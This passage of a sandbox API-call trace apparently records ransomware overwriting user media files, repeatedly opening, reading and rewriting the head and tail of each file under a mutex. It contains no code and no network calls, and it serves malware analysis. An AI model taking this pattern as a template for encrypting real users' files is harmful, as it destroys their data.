lpMultiByteStr=0x1e78c44, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9NIWgKv1N0vGtrsKFs.wav", lpUsedDefaultChar=0x0) returned 22 [0064.519] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.520] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9c19 [0064.520] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.520] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9c19 [0064.521] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.521] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.521] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.521] CloseHandle (hObject=0x1d4) returned 1 [0064.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jqZGhCVdR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jqzghcvdr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.522] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.522] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb57b [0064.522] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.522] ReleaseMutex (hMutex=0x128) returned 1 [0064.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqZGhCVdR.wav", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqZGhCVdR.wav", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jqZGhCVdR.wav", lpUsedDefaultChar=0x0) returned 13 [0064.522] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.523] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa57b [0064.523] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.524] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa57b [0064.524] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.524] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.524] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.524] CloseHandle (hObject=0x1d4) returned 1 [0064.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tnK9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tnk9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.524] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.524] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x85bb [0064.524] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.525] ReleaseMutex (hMutex=0x128) returned 1 [0064.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tnK9.mp3", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0064.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tnK9.mp3", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tnK9.mp3", lpUsedDefaultChar=0x0) returned 8 [0064.525] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x75bb [0064.526] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.526] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x75bb [0064.526] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.526] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.526] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.526] CloseHandle (hObject=0x1d4) returned 1 [0064.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_GV5WvOsbkRm K.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_gv5wvosbkrm k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.526] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.527] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x12647 [0064.527] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.527] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.527] ReleaseMutex (hMutex=0x128) returned 1 [0064.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_GV5WvOsbkRm K.mp3", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0064.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_GV5WvOsbkRm K.mp3", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_GV5WvOsbkRm K.mp3", lpUsedDefaultChar=0x0) returned 18 [0064.527] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11647 [0064.528] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11647 [0064.528] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.528] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.528] CloseHandle (hObject=0x1d4) returned 1 [0064.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\U_7qPsPZdo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\u_7qpspzdo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.529] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.529] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x11a1c [0064.529] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.529] ReleaseMutex (hMutex=0x128) returned 1 [0064.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="U_7qPsPZdo.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="U_7qPsPZdo.png", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="U_7qPsPZdo.png", lpUsedDefaultChar=0x0) returned 14 [0064.529] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.530] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x10a1c [0064.530] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.530] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x10a1c [0064.530] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.530] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.530] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.530] CloseHandle (hObject=0x1d4) returned 1 [0064.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\uqCdNxnW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\uqcdnxnw.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x10361 [0064.531] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.531] ReleaseMutex (hMutex=0x128) returned 1 [0064.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uqCdNxnW.gif", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0064.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uqCdNxnW.gif", cchWideChar=12, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uqCdNxnW.gif", lpUsedDefaultChar=0x0) returned 12 [0064.531] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.532] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xf361 [0064.532] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.532] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xf361 [0064.532] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.532] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.533] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.533] CloseHandle (hObject=0x1d4) returned 1 [0064.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\F0W_1DxAF.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\f0w_1dxaf.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd1e0 [0064.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.533] ReleaseMutex (hMutex=0x128) returned 1 [0064.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F0W_1DxAF.swf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F0W_1DxAF.swf", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F0W_1DxAF.swf", lpUsedDefaultChar=0x0) returned 13 [0064.533] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.534] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xc1e0 [0064.534] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.534] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xc1e0 [0064.535] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.535] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.535] CloseHandle (hObject=0x1d4) returned 1 [0064.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\8ME0.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\8me0.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3a0f [0064.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.535] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.535] ReleaseMutex (hMutex=0x128) returned 1 [0064.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8ME0.avi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0064.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8ME0.avi", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ME0.avi", lpUsedDefaultChar=0x0) returned 8 [0064.536] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.536] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2a0f [0064.536] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2a0f [0064.537] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.537] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0064.537] CloseHandle (hObject=0x1d4) returned 1 [0064.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\r-o J2a yitLXPWAtjUo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\r-o j2a yitlxpwatjuo.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: 